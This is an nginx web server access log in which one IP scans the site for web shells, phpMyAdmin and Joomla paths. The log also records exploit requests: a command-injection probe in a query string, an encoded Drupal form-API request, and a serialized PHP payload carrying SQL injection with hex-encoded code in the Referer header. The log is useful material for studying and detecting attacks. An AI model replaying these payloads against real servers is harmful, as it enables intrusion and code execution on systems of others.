195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:05 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:06 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:07 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:08 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:08 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:08 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:08 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:08 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:08 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:08 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:48:30 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:48:50 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:49:11 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:49:31 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:49:51 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:50:12 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:50:32 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:50:52 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:51:12 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:51:31 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
195.9.141.99 - - [25/Feb/2020:17:51:31 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
195.9.141.99 - - [25/Feb/2020:17:51:31 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
195.9.141.99 - - [25/Feb/2020:17:51:31 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
195.9.141.99 - - [25/Feb/2020:17:51:31 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
212.91.246.72 - - [25/Feb/2020:17:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:51:54 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:52:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
195.9.141.99 - - [25/Feb/2020:17:52:34 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [25/Feb/2020:17:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:52:54 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
195.9.141.99 - - [25/Feb/2020:17:53:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
195.9.141.99 - - [25/Feb/2020:17:53:34 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [25/Feb/2020:17:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:53:54 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
195.9.141.99 - - [25/Feb/2020:17:54:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
195.9.141.99 - - [25/Feb/2020:17:54:34 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [25/Feb/2020:17:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.9.141.99 - - [25/Feb/2020:17:54:54 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
195.9.141.99 - - [25/Feb/2020:17:55:14 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
195.9.141.99 - - [25/Feb/2020:17:55:14 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:15 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
195.9.141.99 - - [25/Feb/2020:17:55:16 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
